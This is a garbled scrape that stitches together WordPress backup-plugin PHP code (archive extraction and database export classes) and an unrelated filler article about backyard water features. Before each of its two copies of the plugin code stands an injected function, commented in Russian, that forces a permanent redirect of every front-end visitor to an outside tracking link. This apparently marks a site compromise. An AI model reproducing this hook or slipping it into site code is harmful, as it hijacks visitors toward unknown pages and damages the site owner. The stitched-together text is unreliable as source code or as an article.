function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2023 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Extractor extends Ai1wm_Archiver { /** * Total files count * * @type int */ protected $total_files_count = null; /** * Total files size * * @type int */ protected $total_files_size = null; /** * Overloaded constructor that opens the passed file for reading * * @param string $file_name File to use as archive */ public function __construct( $file_name ) { // Call parent, to initialize variables parent::__construct( $file_name ); } public function list_files() { $files = array(); // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Store the position where the file begins - used for downloading from archive directly $data['offset'] = @ftell( $this->file_handle ); // Skip file content, so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } $files[] = $data; } } return $files; } /** * Get the total files count in an archive * * @return int */ public function get_total_files_count() { if ( is_null( $this->total_files_count ) ) { // Total files count $this->total_files_count = 0; // Total files size $this->total_files_size = 0; // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // We have a file, increment the count $this->total_files_count += 1; // We have a file, increment the size $this->total_files_size += $data['size']; // Skip file content so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } } } } return $this->total_files_count; } /** * Get the total files size in an archive * * @return int */ public function get_total_files_size() { if ( is_null( $this->total_files_size ) ) { // Total files count $this->total_files_count = 0; // Total files size $this->total_files_size = 0; // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // We have a file, increment the count $this->total_files_count += 1; // We have a file, increment the size $this->total_files_size += $data['size']; // Skip file content so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } } } } return $this->total_files_size; } /** * Extract one file to location * * @param string $location Destination path * @param array $exclude_files Exclude files by name * @param array $exclude_extensions Exclude files by extension * @param array $old_paths Old replace paths * @param array $new_paths New replace paths * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Directory_Exception * @throws \Ai1wm_Not_Seekable_Exception * * @return bool */ public function extract_one_file_to( $location, $exclude_files = array(), $exclude_extensions = array(), $old_paths = array(), $new_paths = array(), &$file_written = 0, &$file_offset = 0 ) { if ( false === is_dir( $location ) ) { throw new Ai1wm_Not_Directory_Exception( sprintf( __( 'Location is not a directory: %s', AI1WM_PLUGIN_NAME ), $location ) ); } // Replace forward slash with current directory separator in location $location = ai1wm_replace_forward_slash_with_directory_separator( $location ); // Flag to hold if file data has been processed $completed = true; // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, - $file_offset - 4377, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, - $file_offset - 4377 ) ); } } // Read file header block if ( ( $block = @fread( $this->file_handle, 4377 ) ) ) { // We reached end of file, set the pointer to the end of the file so that feof returns true if ( $block === $this->eof ) { // Seek to end of archive file minus 1 byte @fseek( $this->file_handle, 1, SEEK_END ); // Read 1 character @fgetc( $this->file_handle ); } else { // Get file header data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Set file name $file_name = $data['filename']; // Set file size $file_size = $data['size']; // Set file mtime $file_mtime = $data['mtime']; // Set file path $file_path = $data['path']; // Set should exclude file $should_exclude_file = false; // Should we skip this file by name? for ( $i = 0; $i < count( $exclude_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $exclude_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_exclude_file = true; break; } } // Should we skip this file by extension? for ( $i = 0; $i < count( $exclude_extensions ); $i++ ) { if ( strrpos( $file_name, $exclude_extensions[ $i ] ) === strlen( $file_name ) - strlen( $exclude_extensions[ $i ] ) ) { $should_exclude_file = true; break; } } // Do we have a match? if ( $should_exclude_file === false ) { // Replace extract paths for ( $i = 0; $i < count( $old_paths ); $i++ ) { if ( strpos( $file_path . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $file_name = substr_replace( $file_name, ai1wm_replace_forward_slash_with_directory_separator( $new_paths[ $i ] ), 0, strlen( ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) ) ); $file_path = substr_replace( $file_path, ai1wm_replace_forward_slash_with_directory_separator( $new_paths[ $i ] ), 0, strlen( ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) ) ); break; } } // Escape Windows directory separator in file path if ( path_is_absolute( $file_path ) ) { $file_path = ai1wm_escape_windows_directory_separator( $file_path ); } else { $file_path = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_path ); } // Escape Windows directory separator in file name if ( path_is_absolute( $file_name ) ) { $file_name = ai1wm_escape_windows_directory_separator( $file_name ); } else { $file_name = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_name ); } // Check if location doesn't exist, then create it if ( false === is_dir( $file_path ) ) { @mkdir( $file_path, $this->get_permissions_for_directory(), true ); } $file_written = 0; // We have a match, let's extract the file if ( ( $completed = $this->extract_to( $file_name, $file_size, $file_mtime, $file_written, $file_offset ) ) ) { $file_offset = 0; } } else { // We don't have a match, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } } } } return $completed; } /** * Extract specific files from archive * * @param string $location Location where to extract files * @param array $include_files Include files by name * @param array $exclude_files Exclude files by name * @param array $exclude_extensions Exclude files by extension * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Directory_Exception * @throws \Ai1wm_Not_Seekable_Exception * * @return bool */ public function extract_by_files_array( $location, $include_files = array(), $exclude_files = array(), $exclude_extensions = array(), &$file_written = 0, &$file_offset = 0 ) { if ( false === is_dir( $location ) ) { throw new Ai1wm_Not_Directory_Exception( sprintf( __( 'Location is not a directory: %s', AI1WM_PLUGIN_NAME ), $location ) ); } // Replace forward slash with current directory separator in location $location = ai1wm_replace_forward_slash_with_directory_separator( $location ); // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, - $file_offset - 4377, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, - $file_offset - 4377 ) ); } } // We read until we reached the end of the file, or the files we were looking for were found while ( ( $block = @fread( $this->file_handle, 4377 ) ) ) { // We reached end of file, set the pointer to the end of the file so that feof returns true if ( $block === $this->eof ) { // Seek to end of archive file minus 1 byte @fseek( $this->file_handle, 1, SEEK_END ); // Read 1 character @fgetc( $this->file_handle ); } else { // Get file header data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Set file name $file_name = $data['filename']; // Set file size $file_size = $data['size']; // Set file mtime $file_mtime = $data['mtime']; // Set file path $file_path = $data['path']; // Set should include file $should_include_file = false; // Should we extract this file by name? for ( $i = 0; $i < count( $include_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $include_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_include_file = true; break; } } // Should we skip this file name? for ( $i = 0; $i < count( $exclude_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $exclude_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_include_file = false; break; } } // Should we skip this file by extension? for ( $i = 0; $i < count( $exclude_extensions ); $i++ ) { if ( strrpos( $file_name, $exclude_extensions[ $i ] ) === strlen( $file_name ) - strlen( $exclude_extensions[ $i ] ) ) { $should_include_file = false; break; } } // Do we have a match? if ( $should_include_file === true ) { // Escape Windows directory separator in file path $file_path = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_path ); // Escape Windows directory separator in file name $file_name = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_name ); // Check if location doesn't exist, then create it if ( false === is_dir( $file_path ) ) { @mkdir( $file_path, $this->get_permissions_for_directory(), true ); } $file_written = 0; // We have a match, let's extract the file and remove it from the array if ( ( $completed = $this->extract_to( $file_name, $file_size, $file_mtime, $file_written, $file_offset ) ) ) { $file_offset = 0; } } else { // We don't have a match, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } // Time elapsed if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } } } return $completed; } /** * Extract file to * * @param string $file_name File name * @param array $file_size File size (in bytes) * @param array $file_mtime File modified time (in seconds) * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Seekable_Exception * @throws \Ai1wm_Not_Readable_Exception * @throws \Ai1wm_Quota_Exceeded_Exception * * @return bool */ private function extract_to( $file_name, $file_size, $file_mtime, &$file_written = 0, &$file_offset = 0 ) { global $ai1wm_params; $file_written = 0; // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, $file_offset, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } // Set file size $file_size -= $file_offset; // Should the extract overwrite the file if it exists? (fopen may return null for quarantined files) if ( ( $file_handle = @fopen( $file_name, ( $file_offset === 0 ? 'wb' : 'ab' ) ) ) ) { $file_bytes = 0; // Is the filesize more than 0 bytes? while ( $file_size > 0 ) { // Read the file in chunks of 512KB $chunk_size = $file_size > 512000 ? 512000 : $file_size; if ( ! empty( $ai1wm_params['decryption_password'] ) && basename( $file_name ) !== 'package.json' ) { if ( $file_size > 512000 ) { $chunk_size += ai1wm_crypt_iv_length() * 2; $chunk_size = $chunk_size > $file_size ? $file_size : $chunk_size; } } // Read data chunk by chunk from archive file if ( $chunk_size > 0 ) { $file_content = null; // Read the file in chunks of 512KB from archiver if ( ( $file_content = @fread( $this->file_handle, $chunk_size ) ) === false ) { throw new Ai1wm_Not_Readable_Exception( sprintf( __( 'Unable to read content from file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Remove the amount of bytes we read $file_size -= $chunk_size; if ( ! empty( $ai1wm_params['decryption_password'] ) && basename( $file_name ) !== 'package.json' ) { $file_content = ai1wm_decrypt_string( $file_content, $ai1wm_params['decryption_password'], $file_name ); } // Write file contents if ( ( $file_bytes = @fwrite( $file_handle, $file_content ) ) !== false ) { if ( strlen( $file_content ) !== $file_bytes ) { throw new Ai1wm_Quota_Exceeded_Exception( sprintf( __( 'Out of disk space. Unable to write content to file. File: %s', AI1WM_PLUGIN_NAME ), $file_name ) ); } } // Set file written $file_written += $chunk_size; } // Time elapsed if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } // Set file offset $file_offset += $file_written; // Close the handle @fclose( $file_handle ); // Let's apply last modified date @touch( $file_name, $file_mtime ); // All files should chmoded to 644 @chmod( $file_name, $this->get_permissions_for_file() ); } else { // We don't have file permissions, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } return $completed; } /** * Get file header data from the block * * @param string $block Binary file header * * @return array */ private function get_data_from_block( $block ) { $data = false; // prepare our array keys to unpack $format = array( $this->block_format[0] . 'filename/', $this->block_format[1] . 'size/', $this->block_format[2] . 'mtime/', $this->block_format[3] . 'path', ); $format = implode( '', $format ); // Unpack file header data if ( ( $data = unpack( $format, $block ) ) ) { // Set file details $data['filename'] = trim( $data['filename'] ); $data['size'] = trim( $data['size'] ); $data['mtime'] = trim( $data['mtime'] ); $data['path'] = trim( $data['path'] ); // Set file name $data['filename'] = ( $data['path'] === '.' ? $data['filename'] : $data['path'] . DIRECTORY_SEPARATOR . $data['filename'] ); // Set file path $data['path'] = ( $data['path'] === '.' ? '' : $data['path'] ); // Replace forward slash with current directory separator in file name $data['filename'] = ai1wm_replace_forward_slash_with_directory_separator( $data['filename'] ); // Replace forward slash with current directory separator in file path $data['path'] = ai1wm_replace_forward_slash_with_directory_separator( $data['path'] ); } return $data; } /** * Check if file has reached end of file * Returns true if file has reached eof, false otherwise * * @return bool */ public function has_reached_eof() { return @feof( $this->file_handle ); } /** * Check if file has reached end of file * Returns true if file has NOT reached eof, false otherwise * * @return bool */ public function has_not_reached_eof() { return ! @feof( $this->file_handle ); } /** * Get directory permissions * * @return int */ public function get_permissions_for_directory() { if ( defined( 'FS_CHMOD_DIR' ) ) { return FS_CHMOD_DIR; } return 0755; } /** * Get file permissions * * @return int */ public function get_permissions_for_file() { if ( defined( 'FS_CHMOD_FILE' ) ) { return FS_CHMOD_FILE; } return 0644; } } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2023 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Export_Database_File { public static function execute( $params ) { // Set exclude database if ( isset( $params['options']['no_database'] ) ) { return $params; } $database_bytes_written = 0; // Set archive bytes offset if ( isset( $params['archive_bytes_offset'] ) ) { $archive_bytes_offset = (int) $params['archive_bytes_offset']; } else { $archive_bytes_offset = ai1wm_archive_bytes( $params ); } // Set database bytes offset if ( isset( $params['database_bytes_offset'] ) ) { $database_bytes_offset = (int) $params['database_bytes_offset']; } else { $database_bytes_offset = 0; } // Get total database size if ( isset( $params['total_database_size'] ) ) { $total_database_size = (int) $params['total_database_size']; } else { $total_database_size = ai1wm_database_bytes( $params ); } // What percent of database have we processed? $progress = (int) min( ( $database_bytes_offset / $total_database_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving database...
%d%% complete', AI1WM_PLUGIN_NAME ), $progress ) ); // Open the archive file for writing $archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ) ); // Set the file pointer to the one that we have saved $archive->set_file_pointer( $archive_bytes_offset ); // Add database.sql to archive if ( $archive->add_file( ai1wm_database_path( $params ), AI1WM_DATABASE_NAME, $database_bytes_written, $database_bytes_offset ) ) { // Set progress Ai1wm_Status::info( __( 'Done archiving database.', AI1WM_PLUGIN_NAME ) ); // Unset archive bytes offset unset( $params['archive_bytes_offset'] ); // Unset database bytes offset unset( $params['database_bytes_offset'] ); // Unset total database size unset( $params['total_database_size'] ); // Unset completed flag unset( $params['completed'] ); } else { // Get archive bytes offset $archive_bytes_offset = $archive->get_file_pointer(); // What percent of database have we processed? $progress = (int) min( ( $database_bytes_offset / $total_database_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving database...
%d%% complete', AI1WM_PLUGIN_NAME ), $progress ) ); // Set archive bytes offset $params['archive_bytes_offset'] = $archive_bytes_offset; // Set database bytes offset $params['database_bytes_offset'] = $database_bytes_offset; // Set total database size $params['total_database_size'] = $total_database_size; // Set completed flag $params['completed'] = false; } // Truncate the archive file $archive->truncate(); // Close the archive file $archive->close(); return $params; } } How To Make A Residential Water Feature Landscape – Smile A Day

Water features are a beautiful addition to residential landscapes. They can be as simple as a birdbath or as complex as a waterfall. Smart designs account for energy-efficient pumps and recirculation for minimal water loss. They may also include a catch basin to capture rainfall and help protect against future droughts. Water Feature Colorado Springs can add to the looks of your home.

Water Feature Landscape

Adding the sights and sounds of waterfalls to residential landscapes adds a unique element that draws the eye and invokes a sense of tranquility. Water can also create movement in a garden space, softening hard lines that might be created by retaining walls or other structural elements like fences.

A waterfall can make a beautiful focal point in your backyard, as this one does, and can be surrounded by shady plantings that stay green all season long. The waterfall can also help accentuate sloped landscapes and transform them into natural vistas that invite people to relax and enjoy the view.

When choosing a water feature, it’s important to consider the amount of space you have and how much maintenance you want to do. A small fountain might be a perfect choice for you if you have limited space, while a larger pond or a waterfall might be better for you if you enjoy maintaining your landscape.

The most popular waterfall design is a natural pool with a rock-lined bottom. This type of waterfall is the most customizable and can be designed to fit your taste and space. It’s also the simplest to build but can require ongoing maintenance to keep the water clean.

Another type of landscape waterfall is a stream. A stream can provide a more understated natural look and is often a great choice for gardens with native, unmanicured areas. It can also serve as a water source for wildlife, making it an ecological feature in addition to its decorative functions.

A pondless waterfall offers the same beauty as a traditional pond but without the basin. This is a good option for homeowners who don’t have the space to maintain a large pool or are concerned about safety risks with children playing in the water. These types of landscape water features tend to use less water and grow less bacteria than standard ponds, and they’re safer for kids to play around.

Whatever type of landscape water feature you choose, be sure to install a pump that keeps the water circulating. This helps deter mosquitoes and other insects that prefer still water, as well as keeping the water clean and healthy for fish and plants.

Stream

A stream creates a beautiful focal point and adds movement and definition to a landscape. Streams can range from a slow-flowing, babbling brook to an energetic flowing current. Adding stepping stones, driftwood, and plant life will help give the stream a natural look. These elements will also attract birds and other wildlife to the area, furthering the sense of tranquility.

Adding a waterfall to a stream is another great way to enhance the look and feel of the feature. A waterfall will not only look beautiful, but it will also help to mask and filter the noises from the surrounding environment. Depending on the length of the stream, you may also want to consider installing a bridge or walkway, which can further enhance the beauty and the overall feeling of the feature.

Ponds are one of the most popular water features that homeowners install. A basic landscape water feature, a pond can be made by lining a hole in the ground with a flexible liner and then adding a pump and filtration system to keep the water clean. Many homeowners will add other features to their ponds, such as waterfalls, fish, and water plants, to increase the enjoyment of their features.

Although ponds are very popular, they do require a substantial initial investment and can be difficult to maintain. For these reasons, a waterfall is often an ideal alternative for individuals who are looking to add the feel of a pond without commitment or maintenance. A waterfall can be built into the side of a retaining wall, giving the appearance that the water is cascading down from above. It can also be installed into a small natural pool, allowing it to blend seamlessly with the rest of the landscape.

Water features can be the perfect addition to any landscape design and offer a variety of benefits for both the environment and those who enjoy it. The sights and sounds of water features can help to relax the mind, body, and spirit, and it has been proven that listening to the sound of flowing or trickling water can have similar therapeutic effects as a soothing massage.

Fountain

A fountain in a residential water feature landscape adds drama, even on a small scale. They come in a wide range of styles and can be ready-made or DIY. Some can serve as elaborate focal points; others are more like simple sculptural elements. Fountains work well in a variety of outdoor spaces, but they should be properly scaled and integrated into the landscape design.

Fountains come in many forms, from a bubbling urn to a multitiered waterfall or garden stream. The way the water moves and catches light also affects the visual impact. For example, water sheeting off a rounded urn is more playful than a forceful flow from basin to basin.

You can incorporate a fountain into almost any type of landscape, from a lush tropical garden to a desert garden. To create a dramatic effect, choose a location with good visibility from the house. Make sure that you have enough room for seating around the fountain, and avoid putting it too close to shrubs or trees that will drop debris into the water. Fountains need to be kept full of clean, fresh water. A good rule of thumb is to refill them every other day, depending on the size of the fountain, the amount of sun exposure, and the temperature and humidity. To make refilling easier, consider placing it near a spigot or installing an autofill valve that connects to the water line and fills automatically.

In addition to visual appeal, a fountain adds a soothing soundtrack that masks ambient noise such as the hum of air conditioning and the rumble of street traffic. The movement of the water attracts birds and other wildlife, adding a multisensory experience to the landscape.

A fountain can be built into the landscape by integrating it into a wall, patio, or garden area. The water from a fountain can be pumped through a garden hose or waterline, and the nozzle can be adjusted to control the flow. The fountain itself can be made from any material, but glazed ceramics and lightweight fiberglass are popular choices that provide a wide selection of colors, sizes, and shapes.

Pond

A pond is what most people think of when they think of a backyard water feature. They are the centerpiece of your landscape and can be large or small depending on the space available and the desired ambiance. They are also self-contained ecosystems that require less maintenance than many homeowners realize. They also attract wildlife like deer and frogs and help homeowners feel more connected with nature.

Ponds can be in-ground or above-ground. They can also be constructed from concrete, fiberglass, or liner materials. A pond requires regular cleaning to remove debris and to add fresh water due to evaporation. It is important to choose a location that allows for easy access and good visibility. Ponds should be placed away from overhanging plants that can cause unwanted algae growth.

When choosing a pond, it is important to decide how much maintenance you are willing and able to do. If you are looking for a low-maintenance option, a fish pond or pondless waterfall may be the right choice for you. These options do not have open bodies of water but still provide the tranquil sound of running water.

Another popular option is a fountain. These can be grand or small and come in an endless array of styles. They can incorporate statues and other artistic elements and often make the perfect focal point for any landscape. Fountains can mask environmental noise, create a calming atmosphere, and bring in natural light.

Fountains are a great way to create a one-of-a-kind backyard retreat that will enhance your property value and become the center of attention for your family and guests. Water features can bring beauty and tranquility to any outdoor living space and can be designed in ways that fit with your home’s architecture, style, and layout.

Adding a water feature to your landscape can make your home more welcoming and increase its value. By working with a professional landscaping company, you can ensure that your new water feature is the perfect match for your property and your lifestyle. With the right water feature, you can transform your backyard into a beautiful and peaceful oasis that will provide years of enjoyment.